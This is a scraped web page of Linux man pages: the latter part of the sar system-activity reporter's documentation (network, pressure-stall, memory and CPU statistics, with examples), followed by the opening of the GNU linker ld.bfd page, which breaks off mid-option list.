The number of ICMP messages per second which the interface received but determined as having ICMP-specific errors (bad ICMP checksums, bad length, etc.) [ipv6IfIcmpInErrors]

idtunr6/s
The number of ICMP Destination Unreachable messages received by the interface per second [ipv6IfIcmpInDestUnreachs].

odtunr6/s
The number of ICMP Destination Unreachable messages sent by the interface per second [ipv6IfIcmpOutDestUnreachs].

itmex6/s
The number of ICMP Time Exceeded messages received by the interface per second [ipv6IfIcmpInTimeExcds].

otmex6/s
The number of ICMP Time Exceeded messages sent by the interface per second [ipv6IfIcmpOutTimeExcds].

iprmpb6/s
The number of ICMP Parameter Problem messages received by the interface per second [ipv6IfIcmpInParmProblems].

oprmpb6/s
The number of ICMP Parameter Problem messages sent by the interface per second [ipv6IfIcmpOutParmProblems].

iredir6/s
The number of Redirect messages received by the interface per second [ipv6IfIcmpInRedirects].

oredir6/s
The number of Redirect messages sent by the interface by second [ipv6IfIcmpOutRedirects].

ipck2b6/s
The number of ICMP Packet Too Big messages received by the interface per second [ipv6IfIcmpInPktTooBigs].

opck2b6/s
The number of ICMP Packet Too Big messages sent by the interface per second [ipv6IfIcmpOutPktTooBigs].

With the IP keyword, statistics about IPv4 network traffic are reported. Note that IPv4 statistics depend on sadc’s option -S SNMP to be collected. The following values are displayed (formal SNMP names between square brackets):

irec/s
The total number of input datagrams received from interfaces per second, including those received in error [ipInReceives].

fwddgm/s
The number of input datagrams per second, for which this entity was not their final IP destination, as a result of which an attempt was made to find a route to forward them to that final destination [ipForwDatagrams].

idel/s
The total number of input datagrams successfully delivered per second to IP user-protocols (including ICMP) [ipInDelivers].

orq/s
The total number of IP datagrams which local IP user-protocols (including ICMP) supplied per second to IP in requests for transmission [ipOutRequests]. Note that this counter does not include any datagrams counted in fwddgm/s.

asmrq/s
The number of IP fragments received per second which needed to be reassembled at this entity [ipReasmReqds].

asmok/s
The number of IP datagrams successfully re-assembled per second [ipReasmOKs].

fragok/s
The number of IP datagrams that have been successfully fragmented at this entity per second [ipFragOKs].

fragcrt/s
The number of IP datagram fragments that have been generated per second as a result of fragmentation at this entity [ipFragCreates].

With the EIP keyword, statistics about IPv4 network errors are reported. Note that IPv4 statistics depend on sadc’s option -S SNMP to be collected. The following values are displayed (formal SNMP names between square brackets):

ihdrerr/s
The number of input datagrams discarded per second due to errors in their IP headers, including bad checksums, version number mismatch, other format errors, time-to-live exceeded, errors discovered in processing their IP options, etc. [ipInHdrErrors]

iadrerr/s
The number of input datagrams discarded per second because the IP address in their IP header’s destination field was not a valid address to be received at this entity. This count includes invalid addresses (e.g., 0.0.0.0) and addresses of unsupported Classes (e.g., Class E). For entities which are not IP routers and therefore do not forward datagrams, this counter includes datagrams discarded because the destination address was not a local address [ipInAddrErrors].

iukwnpr/s
The number of locally-addressed datagrams received successfully but discarded per second because of an unknown or unsupported protocol [ipInUnknownProtos].

idisc/s
The number of input IP datagrams per second for which no problems were encountered to prevent their continued processing, but which were discarded (e.g., for lack of buffer space) [ipInDiscards]. Note that this counter does not include any datagrams discarded while awaiting re-assembly.

odisc/s
The number of output IP datagrams per second for which no problem was encountered to prevent their transmission to their destination, but which were discarded (e.g., for lack of buffer space) [ipOutDiscards]. Note that this counter would include datagrams counted in fwddgm/s if any such packets met this (discretionary) discard criterion.

onort/s
The number of IP datagrams discarded per second because no route could be found to transmit them to their destination [ipOutNoRoutes]. Note that this counter includes any packets counted in fwddgm/s which meet this ’no-route’ criterion. Note that this includes any datagrams which a host cannot route because all of its default routers are down.

asmf/s
The number of failures detected per second by the IP re-assembly algorithm (for whatever reason: timed out, errors, etc) [ipReasmFails]. Note that this is not necessarily a count of discarded IP fragments since some algorithms can lose track of the number of fragments by combining them as they are received.

fragf/s
The number of IP datagrams that have been discarded per second because they needed to be fragmented at this entity but could not be, e.g., because their Don’t Fragment flag was set [ipFragFails].

With the IP6 keyword, statistics about IPv6 network traffic are reported. Note that IPv6 statistics depend on sadc’s option -S IPV6 to be collected. The following values are displayed (formal SNMP names between square brackets):

irec6/s
The total number of input datagrams received from interfaces per second, including those received in error [ipv6IfStatsInReceives].

fwddgm6/s
The number of output datagrams per second which this entity received and forwarded to their final destinations [ipv6IfStatsOutForwDatagrams].

idel6/s
The total number of datagrams successfully delivered per second to IPv6 user-protocols (including ICMP) [ipv6IfStatsInDelivers].

orq6/s
The total number of IPv6 datagrams which local IPv6 user-protocols (including ICMP) supplied per second to IPv6 in requests for transmission [ipv6IfStatsOutRequests]. Note that this counter does not include any datagrams counted in fwddgm6/s.

asmrq6/s
The number of IPv6 fragments received per second which needed to be reassembled at this interface [ipv6IfStatsReasmReqds].

asmok6/s
The number of IPv6 datagrams successfully reassembled per second [ipv6IfStatsReasmOKs].

imcpck6/s
The number of multicast packets received per second by the interface [ipv6IfStatsInMcastPkts].

omcpck6/s
The number of multicast packets transmitted per second by the interface [ipv6IfStatsOutMcastPkts].

fragok6/s
The number of IPv6 datagrams that have been successfully fragmented at this output interface per second [ipv6IfStatsOutFragOKs].

fragcr6/s
The number of output datagram fragments that have been generated per second as a result of fragmentation at this output interface [ipv6IfStatsOutFragCreates].

With the EIP6 keyword, statistics about IPv6 network errors are reported. Note that IPv6 statistics depend on sadc’s option -S IPV6 to be collected. The following values are displayed (formal SNMP names between square brackets):

ihdrer6/s
The number of input datagrams discarded per second due to errors in their IPv6 headers, including version number mismatch, other format errors, hop count exceeded, errors discovered in processing their IPv6 options, etc. [ipv6IfStatsInHdrErrors]

iadrer6/s
The number of input datagrams discarded per second because the IPv6 address in their IPv6 header’s destination field was not a valid address to be received at this entity. This count includes invalid addresses (e.g., ::0) and unsupported addresses (e.g., addresses with unallocated prefixes). For entities which are not IPv6 routers and therefore do not forward datagrams, this counter includes datagrams discarded because the destination address was not a local address [ipv6IfStatsInAddrErrors].

iukwnp6/s
The number of locally-addressed datagrams received successfully but discarded per second because of an unknown or unsupported protocol [ipv6IfStatsInUnknownProtos].

i2big6/s
The number of input datagrams that could not be forwarded per second because their size exceeded the link MTU of outgoing interface [ipv6IfStatsInTooBigErrors].

idisc6/s
The number of input IPv6 datagrams per second for which no problems were encountered to prevent their continued processing, but which were discarded (e.g., for lack of buffer space) [ipv6IfStatsInDiscards]. Note that this counter does not include any datagrams discarded while awaiting re-assembly.

odisc6/s
The number of output IPv6 datagrams per second for which no problem was encountered to prevent their transmission to their destination, but which were discarded (e.g., for lack of buffer space) [ipv6IfStatsOutDiscards]. Note that this counter would include datagrams counted in fwddgm6/s if any such packets met this (discretionary) discard criterion.

inort6/s
The number of input datagrams discarded per second because no route could be found to transmit them to their destination [ipv6IfStatsInNoRoutes].

onort6/s
The number of locally generated IP datagrams discarded per second because no route could be found to transmit them to their destination [unknown formal SNMP name].

asmf6/s
The number of failures detected per second by the IPv6 re-assembly algorithm (for whatever reason: timed out, errors, etc.) [ipv6IfStatsReasmFails]. Note that this is not necessarily a count of discarded IPv6 fragments since some algorithms can lose track of the number of fragments by combining them as they are received.

fragf6/s
The number of IPv6 datagrams that have been discarded per second because they needed to be fragmented at this output interface but could not be [ipv6IfStatsOutFragFails].

itrpck6/s
The number of input datagrams discarded per second because datagram frame didn’t carry enough data [ipv6IfStatsInTruncatedPkts].

With the NFS keyword, statistics about NFS client activity are reported. The following values are displayed:

call/s
Number of RPC requests made per second.

retrans/s
Number of RPC requests per second, those which needed to be retransmitted (for example because of a server timeout).

read/s
Number of ‘read’ RPC calls made per second.

write/s
Number of ‘write’ RPC calls made per second.

access/s
Number of ‘access’ RPC calls made per second.

getatt/s
Number of ‘getattr’ RPC calls made per second.

With the NFSD keyword, statistics about NFS server activity are reported. The following values are displayed:

scall/s
Number of RPC requests received per second.

badcall/s
Number of bad RPC requests received per second, those whose processing generated an error.

packet/s
Number of network packets received per second.

udp/s
Number of UDP packets received per second.

tcp/s
Number of TCP packets received per second.

hit/s
Number of reply cache hits per second.

miss/s
Number of reply cache misses per second.

sread/s
Number of ‘read’ RPC calls received per second.

swrite/s
Number of ‘write’ RPC calls received per second.

saccess/s
Number of ‘access’ RPC calls received per second.

sgetatt/s
Number of ‘getattr’ RPC calls received per second.

With the SOCK keyword, statistics on sockets in use are reported (IPv4). The following values are displayed:

totsck
Total number of sockets used by the system.

tcpsck
Number of TCP sockets currently in use.

udpsck
Number of UDP sockets currently in use.

rawsck
Number of RAW sockets currently in use.

ip-frag
Number of IP fragments currently in queue.

tcp-tw
Number of TCP sockets in TIME_WAIT state.

With the SOCK6 keyword, statistics on sockets in use are reported (IPv6). Note that IPv6 statistics depend on sadc’s option -S IPV6 to be collected. The following values are displayed:

tcp6sck
Number of TCPv6 sockets currently in use.

udp6sck
Number of UDPv6 sockets currently in use.

raw6sck
Number of RAWv6 sockets currently in use.

ip6-frag
Number of IPv6 fragments currently in use.

With the SOFT keyword, statistics about software-based network processing are reported. The following values are displayed:

total/s
The total number of network frames processed per second.

dropd/s
The total number of network frames dropped per second because there was no room on the processing queue.

squeezd/s
The number of times the softirq handler function terminated per second because its budget was consumed or the time limit was reached, but more work could have been done.

rx_rps/s
The number of times the CPU has been woken up per second to process packets via an inter-processor interrupt.

flw_lim/s
The number of times the flow limit has been reached per second. Flow limiting is an optional RPS feature that can be used to limit the number of packets queued to the backlog for each flow to a certain amount. This can help ensure that smaller flows are processed even though much larger flows are pushing packets in.

blg_len
The length of the network backlog.

With the TCP keyword, statistics about TCPv4 network traffic are reported. Note that TCPv4 statistics depend on sadc’s option -S SNMP to be collected. The following values are displayed (formal SNMP names between square brackets):

active/s
The number of times TCP connections have made a direct transition to the SYN-SENT state from the CLOSED state per second [tcpActiveOpens].

passive/s
The number of times TCP connections have made a direct transition to the SYN-RCVD state from the LISTEN state per second [tcpPassiveOpens].

iseg/s
The total number of segments received per second, including those received in error [tcpInSegs]. This count includes segments received on currently established connections.

oseg/s
The total number of segments sent per second, including those on current connections but excluding those containing only retransmitted octets [tcpOutSegs].

With the ETCP keyword, statistics about TCPv4 network errors are reported. Note that TCPv4 statistics depend on sadc’s option -S SNMP to be collected. The following values are displayed (formal SNMP names between square brackets):

atmptf/s
The number of times per second TCP connections have made a direct transition to the CLOSED state from either the SYN-SENT state or the SYN-RCVD state, plus the number of times per second TCP connections have made a direct transition to the LISTEN state from the SYN-RCVD state [tcpAttemptFails].

estres/s
The number of times per second TCP connections have made a direct transition to the CLOSED state from either the ESTABLISHED state or the CLOSE-WAIT state [tcpEstabResets].

retrans/s
The total number of segments retransmitted per second - that is, the number of TCP segments transmitted containing one or more previously transmitted octets [tcpRetransSegs].

isegerr/s
The total number of segments received in error (e.g., bad TCP checksums) per second [tcpInErrs].

orsts/s
The number of TCP segments sent per second containing the RST flag [tcpOutRsts].

With the UDP keyword, statistics about UDPv4 network traffic are reported. Note that UDPv4 statistics depend on sadc’s option -S SNMP to be collected. The following values are displayed (formal SNMP names between square brackets):

idgm/s
The total number of UDP datagrams delivered per second to UDP users [udpInDatagrams].

odgm/s
The total number of UDP datagrams sent per second from this entity [udpOutDatagrams].

noport/s
The total number of received UDP datagrams per second for which there was no application at the destination port [udpNoPorts].

idgmerr/s
The number of received UDP datagrams per second that could not be delivered for reasons other than the lack of an application at the destination port [udpInErrors].

With the UDP6 keyword, statistics about UDPv6 network traffic are reported. Note that UDPv6 statistics depend on sadc’s option -S IPV6 to be collected. The following values are displayed (formal SNMP names between square brackets):

idgm6/s
The total number of UDP datagrams delivered per second to UDP users [udpInDatagrams].

odgm6/s
The total number of UDP datagrams sent per second from this entity [udpOutDatagrams].

noport6/s
The total number of received UDP datagrams per second for which there was no application at the destination port [udpNoPorts].

idgmer6/s
The number of received UDP datagrams per second that could not be delivered for reasons other than the lack of an application at the destination port [udpInErrors].

The ALL keyword is equivalent to specifying all the keywords above and therefore all the network activities are reported.

**-o [ ***filename *]
Save the readings in the file in binary form. Each reading is in a separate record. The default value of the filename parameter is the current standard system activity daily data file. If filename is a directory instead of a plain file then it is considered as the directory where the standard system activity daily data files are located. Option **-o **is exclusive of option -f. All the data available from the kernel are saved in the file (in fact, **sar **calls its data collector **sadc **with the option -S ALL. See sadc(8) manual page).

**-P { ***cpu_list *| ALL }
Report per-processor statistics for the specified processor or processors. cpu_list is a list of comma-separated values or range of values (e.g., 0,2,4-7,12-). Note that processor 0 is the first processor, and processor all is the global average among all processors. Specifying the ALL keyword reports statistics for each individual processor, and globally for all processors. Offline processors are not displayed.

-p, –pretty
Make reports easier to read by a human. This option may be especially useful when displaying e.g., network interfaces or block devices statistics.

-q [ keyword[,…] | ALL ]
Report system load and pressure-stall statistics.

Possible keywords are CPU, IO, LOAD, **MEM **and PSI.

With the CPU keyword, CPU pressure statistics are reported. The following values are displayed:

%scpu-10
Percentage of the time that at least some runnable tasks were delayed because the CPU was unavailable to them, over the last 10 second window.

%scpu-60
Percentage of the time that at least some runnable tasks were delayed because the CPU was unavailable to them, over the last 60 second window.

%scpu-300
Percentage of the time that at least some runnable tasks were delayed because the CPU was unavailable to them, over the last 300 second window.

%scpu
Percentage of the time that at least some runnable tasks were delayed because the CPU was unavailable to them, over the last time interval.

With the IO keyword, I/O pressure statistics are reported. The following values are displayed:

%sio-10
Percentage of the time that at least some tasks lost waiting for I/O, over the last 10 second window.

%sio-60
Percentage of the time that at least some tasks lost waiting for I/O, over the last 60 second window.

%sio-300
Percentage of the time that at least some tasks lost waiting for I/O, over the last 300 second window.

%sio
Percentage of the time that at least some tasks lost waiting for I/O, over the last time interval.

%fio-10
Percentage of the time during which all non-idle tasks were stalled waiting for I/O, over the last 10 second window.

%fio-60
Percentage of the time during which all non-idle tasks were stalled waiting for I/O, over the last 60 second window.

%fio-300
Percentage of the time during which all non-idle tasks were stalled waiting for I/O, over the last 300 second window.

%fio
Percentage of the time during which all non-idle tasks were stalled waiting for I/O, over the last time interval.

With the LOAD keyword, queue length and load averages statistics are reported. The following values are displayed:

runq-sz
Run queue length (number of tasks running or waiting for run time).

plist-sz
Number of tasks in the task list.

ldavg-1
System load average for the last minute. The load average is calculated as the average number of runnable or running tasks (R state), and the number of tasks in uninterruptible sleep (D state) over the specified interval.

ldavg-5
System load average for the past 5 minutes.

ldavg-15
System load average for the past 15 minutes.

blocked
Number of tasks currently blocked, waiting for I/O to complete.

With the MEM keyword, memory pressure statistics are reported. The following values are displayed:

%smem-10
Percentage of the time during which at least some tasks were waiting for memory resources, over the last 10 second window.

%smem-60
Percentage of the time during which at least some tasks were waiting for memory resources, over the last 60 second window.

%smem-300
Percentage of the time during which at least some tasks were waiting for memory resources, over the last 300 second window.

%smem
Percentage of the time during which at least some tasks were waiting for memory resources, over the last time interval.

%fmem-10
Percentage of the time during which all non-idle tasks were stalled waiting for memory resources, over the last 10 second window.

%fmem-60
Percentage of the time during which all non-idle tasks were stalled waiting for memory resources, over the last 60 second window.

%fmem-300
Percentage of the time during which all non-idle tasks were stalled waiting for memory resources, over the last 300 second window.

%fmem
Percentage of the time during which all non-idle tasks were stalled waiting for memory resources, over the last time interval.

The PSI keyword is equivalent to specifying CPU, IO and MEM keywords together and therefore all the pressure-stall statistics are reported.

The ALL keyword is equivalent to specifying all the keywords above and therefore all the statistics are reported.

-r [ ALL ]
Report memory utilization statistics. The ALL keyword indicates that all the memory fields should be displayed. The following values may be displayed:

kbmemfree
Amount of free memory available in kilobytes.

kbavail
Estimate of how much memory in kilobytes is available for starting new applications, without swapping. The estimate takes into account that the system needs some page cache to function well, and that not all reclaimable slab will be reclaimable, due to items being in use. The impact of those factors will vary from system to system.

kbmemused
Amount of used memory in kilobytes (calculated as total installed memory - kbmemfree - kbbuffers - kbcached - kbslab).

%memused
Percentage of used memory.

kbbuffers
Amount of memory used as buffers by the kernel in kilobytes.

kbcached
Amount of memory used to cache data by the kernel in kilobytes.

kbcommit
Amount of memory in kilobytes needed for current workload. This is an estimate of how much RAM/swap is needed to guarantee that there never is out of memory.

%commit
Percentage of memory needed for current workload in relation to the total amount of memory (RAM+swap). This number may be greater than 100% because the kernel usually overcommits memory.

kbactive
Amount of active memory in kilobytes (memory that has been used more recently and usually not reclaimed unless absolutely necessary).

kbinact
Amount of inactive memory in kilobytes (memory which has been less recently used. It is more eligible to be reclaimed for other purposes).

kbdirty
Amount of memory in kilobytes waiting to get written back to the disk.

kbanonpg
Amount of non-file backed pages in kilobytes mapped into userspace page tables.

kbslab
Amount of memory in kilobytes used by the kernel to cache data structures for its own use.

kbkstack
Amount of memory in kilobytes used for kernel stack space.

kbpgtbl
Amount of memory in kilobytes dedicated to the lowest level of page tables.

kbvmused
Amount of memory in kilobytes of used virtual address space.

-S
Report swap space utilization statistics. The following values are displayed:

kbswpfree
Amount of free swap space in kilobytes.

kbswpused
Amount of used swap space in kilobytes.

%swpused
Percentage of used swap space.

kbswpcad
Amount of cached swap memory in kilobytes. This is memory that once was swapped out, is swapped back in but still also is in the swap area (if memory is needed it doesn’t need to be swapped out again because it is already in the swap area. This saves I/O).

%swpcad
Percentage of cached swap memory in relation to the amount of used swap space.

-s [ hh:mm[:ss] ]
**-s [ ***seconds_since_the_epoch *]

Set the starting time of the data, causing the sar command to extract records time-tagged at, or following, the time specified. The default starting time is 08:00:00. Hours must be given in 24-hour format, or as the number of seconds since the epoch (given as a 10 digit number). This option can be used only when data are read from a file (option -f).

–sadc
Indicate which data collector is called by sar. If the data collector is sought in PATH then enter “which sadc” to know where it is located.

-t
When reading data from a daily data file, indicate that sar should display the timestamps in the original local time of the data file creator. Without this option, the sar command displays the timestamps in the user’s local time.

-u [ ALL ]
Report CPU utilization. The ALL keyword indicates that all the CPU fields should be displayed. The report may show the following fields:

%user
Percentage of CPU utilization that occurred while executing at the user level (application). Note that this field includes time spent running virtual processors.

%usr
Percentage of CPU utilization that occurred while executing at the user level (application). Note that this field does NOT include time spent running virtual processors.

%nice
Percentage of CPU utilization that occurred while executing at the user level with nice priority.

%system
Percentage of CPU utilization that occurred while executing at the system level (kernel). Note that this field includes time spent servicing hardware and software interrupts.

%sys
Percentage of CPU utilization that occurred while executing at the system level (kernel). Note that this field does NOT include time spent servicing hardware or software interrupts.

%iowait
Percentage of time that the CPU or CPUs were idle during which the system had an outstanding disk I/O request.

%steal
Percentage of time spent in involuntary wait by the virtual CPU or CPUs while the hypervisor was servicing another virtual processor.

%irq
Percentage of time spent by the CPU or CPUs to service hardware interrupts.

%soft
Percentage of time spent by the CPU or CPUs to service software interrupts.

%guest
Percentage of time spent by the CPU or CPUs to run a virtual processor.

%gnice
Percentage of time spent by the CPU or CPUs to run a niced guest.

%idle
Percentage of time that the CPU or CPUs were idle and the system did not have an outstanding disk I/O request.

-V
Print version number then exit.

-v
Report status of inode, file and other kernel tables. The following values are displayed:

dentunusd
Number of unused cache entries in the directory cache.

file-nr
Number of file handles used by the system.

inode-nr
Number of inode handlers used by the system.

pty-nr
Number of pseudo-terminals used by the system.

-W
Report swapping statistics. The following values are displayed:

pswpin/s
Total number of swap pages the system brought in per second.

pswpout/s
Total number of swap pages the system brought out per second.

-w
Report task creation and system switching activity. The following values are displayed:

proc/s
Total number of tasks created per second.

cswch/s
Total number of context switches per second.

-x
Extended reports: Display minimum and maximum values in addition to average ones at the end of the report.

-y
Report TTY devices activity. The following values are displayed:

rcvin/s
Number of receive interrupts per second for current serial line. Serial line number is given in the TTY column.

xmtin/s
Number of transmit interrupts per second for current serial line.

framerr/s
Number of frame errors per second for current serial line.

prtyerr/s
Number of parity errors per second for current serial line.

brk/s
Number of breaks per second for current serial line.

ovrun/s
Number of overrun errors per second for current serial line.

-z
Tell sar to omit output for any devices for which there was no activity during the sample period.

ENVIRONMENT

The sar command takes into account the following environment variables:

S_COLORS
By default statistics are displayed in color when the output is connected to a terminal. Use this variable to change the settings. Possible values for this variable are never, *always *or auto (the latter is equivalent to the default settings).
Please note that the color (being red, yellow, or some other color) used to display a value is not indicative of any kind of issue simply because of the color. It only indicates different ranges of values.

S_COLORS_SGR
Specify the colors and other attributes used to display statistics on the terminal. Its value is a colon-separated list of capabilities that defaults to C=33;22:I=32;22:N=34;1:R=31;22:W=35;1:X=31;1:Z=34;22. Supported capabilities are:

C=
SGR (Select Graphic Rendition) substring for comments inserted in the binary daily data files.

I=
SGR substring for item names or values (eg. network interfaces, CPU number…)

N=
SGR substring for non-zero statistics values.

R=
SGR substring for restart messages.

W= (or M=)
SGR substring for percentage values in the range from 75% to 90% (or in the range 10% to 25% depending on the metric’s meaning). It is also used for negative values in the range from -10 to -5.

X= (or H=)
SGR substring for percentage values greater than or equal to 90% (or lower than or equal to 10% depending on the metric’s meaning). It is also used for negative values lower than or equal to -10.

Z=
SGR substring for zero values.

S_REPEAT_HEADER
This variable contains the maximum number of lines after which a header has to be displayed by sar when the output is not a terminal.

S_TIME_DEF_TIME
If this variable exists and its value is **UTC **then sar will save its data in UTC time (data will still be displayed in local time). sar will also use UTC time instead of local time to determine the current daily data file located in the /var/log/sysstat directory. This variable may be useful for servers with users located across several timezones.

S_TIME_FORMAT
If this variable exists and its value is ISO then the current locale will be ignored when printing the date in the report header. The sar command will use the ISO 8601 format (YYYY-MM-DD) instead. The timestamp will also be compliant with ISO 8601 format.

EXAMPLES

sar -u 2 5
Report CPU utilization for each 2 seconds. 5 lines are displayed.

sar -I –int=14 -o int14.file 2 10
Report statistics on IRQ 14 for each 2 seconds. 10 lines are displayed. Data are stored in a file called int14.file.

sar -r -n DEV -f /var/log/sysstat/sa16
Display memory and network statistics saved in daily data file sa16.

sar -A
Display all the statistics saved in current daily data file.

BUGS

/proc “filesystemmustbemountedforthe **sar **command to work.

All the statistics are not necessarily available, depending on the kernel version used. sar assumes that you are using at least a 2.6 kernel.

Although sar speaks of kilobytes (kB), megabytes (MB)…, it actually uses kibibytes (kiB), mebibytes (MiB)… A kibibyte is equal to 1024 bytes, and a mebibyte is equal to 1024 kibibytes.

FILES

/var/log/sysstat/saDD
/var/log/sysstat/saYYYYMMDD

The standard system activity daily data files and their default location. *YYYY *stands for the current year, *MM *for the current month and DD for the current day.

*/proc *and */sys *contain various files with system statistics.

AUTHOR

Sebastien Godard (sysstat <at> orange.fr)

SEE ALSO

sadc(8), sa1(8), sa2(8), sadf(1), sysstat(5), pidstat(1), mpstat(1), iostat(1), vmstat(8)

https://github.com/sysstat/sysstat
https://sysstat.github.io/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1135 - Linux cli command ld.bfd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ld.bfd and provides detailed information about the command ld.bfd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ld.bfd.

NAME 🖥️ ld.bfd 🖥️

The GNU linker

SYNOPSIS

ld [options] objfile

DESCRIPTION

ld combines a number of object and archive files, relocates their data and ties up symbol references. Usually the last step in compiling a program is to run ld.

ld accepts Linker Command Language files written in a superset of AT&T’s Link Editor Command Language syntax, to provide explicit and total control over the linking process.

This man page does not describe the command language; see the ld entry in info for full details on the command language and on other aspects of the GNU linker.

This version of ld uses the general purpose BFD libraries to operate on object files. This allows ld to read, combine, and write object files in many different formats—for example, COFF or a.out. Different formats may be linked together to produce any available kind of object file.

Aside from its flexibility, the GNU linker is more helpful than other linkers in providing diagnostic information. Many linkers abandon execution immediately upon encountering an error; whenever possible, ld continues executing, allowing you to identify other errors (or, in some cases, to get an output file in spite of the error).

The GNU linker ld is meant to cover a broad range of situations, and to be as compatible as possible with other linkers. As a result, you have many choices to control its behavior.

OPTIONS

The linker supports a plethora of command-line options, but in actual practice few of them are used in any particular context. For instance, a frequent use of ld is to link standard Unix object files on a standard, supported Unix system. On such a system, to link a file hello.o:

ld -o <output> /lib/crt0.o hello.o -lc

This tells ld to produce a file called output as the result of linking the file /lib/crt0.o with hello.o and the library libc.a, which will come from the standard search directories. (See the discussion of the -l option below.)

Some of the command-line options to ld may be specified at any point in the command line. However, options which refer to files, such as -l or -T, cause the file to be read at the point at which the option appears in the command line, relative to the object files and other file options. Repeating non-file options with a different argument will either have no further effect, or override prior occurrences (those further to the left on the command line) of that option. Options which may be meaningfully specified more than once are noted in the descriptions below.

Non-option arguments are object files or archives which are to be linked together. They may follow, precede, or be mixed in with command-line options, except that an object file argument may not be placed between an option and its argument.

Usually the linker is invoked with at least one object file, but you can specify other forms of binary input files using -l, -R, and the script command language. If no binary input files at all are specified, the linker does not produce any output, and issues the message No input files.

If the linker cannot recognize the format of an object file, it will assume that it is a linker script. A script specified in this way augments the main linker script used for the link (either the default linker script or the one specified by using -T). This feature permits the linker to link against a file which appears to be an object or an archive, but actually merely defines some symbol values, or uses INPUT or GROUP to load other objects. Specifying a script in this way merely augments the main linker script, with the extra commands placed after the main script; use the -T option to replace the default linker script entirely, but note the effect of the INSERT command.

For options whose names are a single letter, option arguments must either follow the option letter without intervening whitespace, or be given as separate arguments immediately following the option that requires them.

For options whose names are multiple letters, either one dash or two can precede the option name; for example, -trace-symbol and –trace-symbol are equivalent. Note—there is one exception to this rule. Multiple letter options that start with a lower case ‘o’ can only be preceded by two dashes. This is to reduce confusion with the -o option. So for example -omagic sets the output file name to magic whereas –omagic sets the NMAGIC flag on the output.

Arguments to multiple-letter options must either be separated from the option name by an equals sign, or be given as separate arguments immediately following the option that requires them. For example, –trace-symbol foo and –trace-symbol=foo are equivalent. Unique abbreviations of the names of multiple-letter options are accepted.

Note—if the linker is being invoked indirectly, via a compiler driver (e.g. gcc) then all the linker command-line options should be prefixed by -Wl, (or whatever is appropriate for the particular compiler driver) like this:

gcc -Wl,–start-group foo.o bar.o -Wl,–end-group

This is important, because otherwise the compiler driver program may silently drop the linker options, resulting in a bad link. Confusion may also arise when passing options that require values through a driver, as the use of a space between option and argument acts as a separator, and causes the driver to pass only the option to the linker and the argument to the compiler. In this case, it is simplest to use the joined forms of both single- and multiple-letter options, such as:

gcc foo.o bar.o -Wl,-eENTRY -Wl,-Map=a.map

Here is a table of the generic command-line switches accepted by the GNU linker:

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

-a keyword
This option is supported for HP/UX compatibility. The keyword argument must be one of the strings archive, shared, or default. -aarchive is functionally equivalent to -Bstatic, and the other two keywords are functionally equivalent to -Bdynamic. This option may be used any number of times.

–audit AUDITLIB
Adds AUDITLIB to the DT_AUDIT entry of the dynamic section. AUDITLIB is not checked for existence, nor will it use the DT_SONAME specified in the library. If specified multiple times DT_AUDIT will contain a colon separated list of audit interfaces to use. If the linker finds an object with an audit entry while searching for shared libraries, it will add a corresponding DT_DEPAUDIT entry in the output file. This option is only meaningful on ELF platforms supporting the rtld-audit interface.

-b input-format

–format=input-format

ld may be configured to support more than one kind of object file. If your ld is configured this way, you can use the -b option to specify the binary format for input object files that follow this option on the command line. Even when ld is configured to support alternative object formats, you don’t usually need to specify this, as ld should be configured to expect as a default input format the most usual format on each machine. input-format is a text string, the name of a particular format supported by the BFD libraries. (You can list the available binary formats with objdump -i.) You may want to use this option if you are linking files with an unusual binary format. You can also use -b to switch formats explicitly (when linking object files of different formats), by including -b input-format before each group of object files in a particular format. The default format is taken from the environment variable GNUTARGET. You can also define the input format from a script, using the command TARGET;

-c MRI-commandfile

–mri-script=MRI-commandfile

For compatibility with linkers produced by MRI, ld accepts script files written in an alternate, restricted command language, described in the MRI Compatible Script Files section of GNU ld documentation. Introduce MRI script files with the option -c; use the -T option to run linker scripts written in the general-purpose ld scripting language. If MRI-cmdfile does not exist, ld looks for it in the directories specified by any -L options.

-d

-dc

-dp

These three options are equivalent; multiple forms are supported for compatibility with other linkers. They assign space to common symbols even if a relocatable output file is specified (with -r). The script command FORCE_COMMON_ALLOCATION has the same effect.

–depaudit AUDITLIB

-P AUDITLIB

Adds AUDITLIB to the DT_DEPAUDIT entry of the dynamic section. AUDITLIB is not checked for existence, nor will it use the DT_SONAME specified in the library. If specified multiple times DT_DEPAUDIT will contain a colon separated list of audit interfaces to use. This option is only meaningful on ELF platforms supporting the rtld-audit interface. The -P option is provided for Solaris compatibility.

–enable-linker-version
Enables the LINKER_VERSION linker script directive, described in Output Section Data. If this directive is used in a linker script and this option has been enabled then a string containing the linker version will be inserted at the current point. Note - this location of this option on the linker command line is significant. It will only affect linker scripts that come after it on the command line, or which are built into the linker.

–disable-linker-version
Disables the LINKER_VERSION linker script directive, so that it does not insert a version string. This is the default.

–enable-non-contiguous-regions
